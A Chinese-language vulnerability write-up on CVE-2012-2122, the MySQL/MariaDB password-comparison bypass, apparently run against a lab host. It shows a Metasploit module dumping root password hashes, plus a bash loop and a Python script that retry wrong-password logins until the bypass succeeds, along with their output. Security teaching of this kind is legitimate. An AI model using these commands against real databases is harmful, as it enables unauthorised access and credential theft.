CVE-2012-2122-Mysql身份认证漏洞及利用
一、漏洞简介
当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。按照公告说法大约256次就能够蒙对一次。
受影响的产品:
All MariaDB and MySQL versions up to 5.1.61, 5.2.11, 5.3.5, 5.5.22 are vulnerable.
MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.
MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.
二、漏洞危害
只要知道用户名,不断尝试就能够直接登入SQL数据库。
三、漏洞验证
1、metasploit
msf > use auxiliary/scanner/mysql/mysql_authbypass_hashdump
msf auxiliary(mysql_authbypass_hashdump) > info Name: MySQL Authentication Bypass Password Dump
Module: auxiliary/scanner/mysql/mysql_authbypass_hashdump
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2012-06-09 Provided by:
theLightCosine <theLightCosine@metasploit.com>
jcran <jcran@metasploit.com> Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target address range or CIDR identifier
RPORT 3306 yes The target port (TCP)
THREADS 1 yes The number of concurrent threads
USERNAME root yes The username to authenticate as Description:
This module exploits a password bypass vulnerability in MySQL in
order to extract the usernames and encrypted password hashes from a
MySQL server. These hashes are stored as loot for later cracking. References:
https://cvedetails.com/cve/CVE-2012-2122/
OSVDB (82804)
https://community.rapid7.com/community/metasploit/blog/2012/06/11/cve-2012-2122-a-tragically-comedic-security-flaw-in-mysql msf auxiliary(mysql_authbypass_hashdump) > set RHOSTS 192.168.118.130
RHOSTS => 192.168.118.130
msf auxiliary(mysql_authbypass_hashdump) > run [+] 192.168.118.130:3306 - 192.168.118.130:3306 The server allows logins, proceeding with bypass test
[*] 192.168.118.130:3306 - 192.168.118.130:3306 Authentication bypass is 10% complete
[*] 192.168.118.130:3306 - 192.168.118.130:3306 Authentication bypass is 20% complete
[*] 192.168.118.130:3306 - 192.168.118.130:3306 Successfully bypassed authentication after 207 attempts. URI: mysql://root:iTk@192.168.118.130:3306
[+] 192.168.118.130:3306 - 192.168.118.130:3306 Successfully exploited the authentication bypass flaw, dumping hashes...
[+] 192.168.118.130:3306 - 192.168.118.130:3306 Saving HashString as Loot: root:*6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9
[+] 192.168.118.130:3306 - 192.168.118.130:3306 Saving HashString as Loot: root:*6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9
[+] 192.168.118.130:3306 - 192.168.118.130:3306 Saving HashString as Loot: root:*6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9
[+] 192.168.118.130:3306 - 192.168.118.130:3306 Saving HashString as Loot: root:*6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9
[+] 192.168.118.130:3306 - 192.168.118.130:3306 Saving HashString as Loot: root:*6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9
[*] 192.168.118.130:3306 - 192.168.118.130:3306 Hash Table has been saved: /root/.msf4/loot/20180829155507_default_192.168.118.130_mysql.hashes_835663.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(mysql_authbypass_hashdump) >
2、Linux shell
root@kali:~# for i in `seq 1 1000`; do mysql -uroot -pwrong -h 192.168.118.130 ; done
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is 1513
Server version: 5.5.23 Source distribution Copyright (c) 2000, 2017, Oracle, MariaDB Corporation Ab and others. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. MySQL [(none)]>
MySQL [(none)]> select version();
+-----------+
| version() |
+-----------+
| 5.5.23 |
+-----------+
1 row in set (0.00 sec) MySQL [(none)]>
3、Python
主要调用了subprocess.Popen执行shell命令:
#!/usr/bin/python
import subprocess while 1:
subprocess.Popen("mysql -h 192.168.118.130 -u root mysql --password=blah", shell=True).wait()
具体执行过程:
root@kali:~# python test.py
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.118.128' (using password: YES)
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is 2697
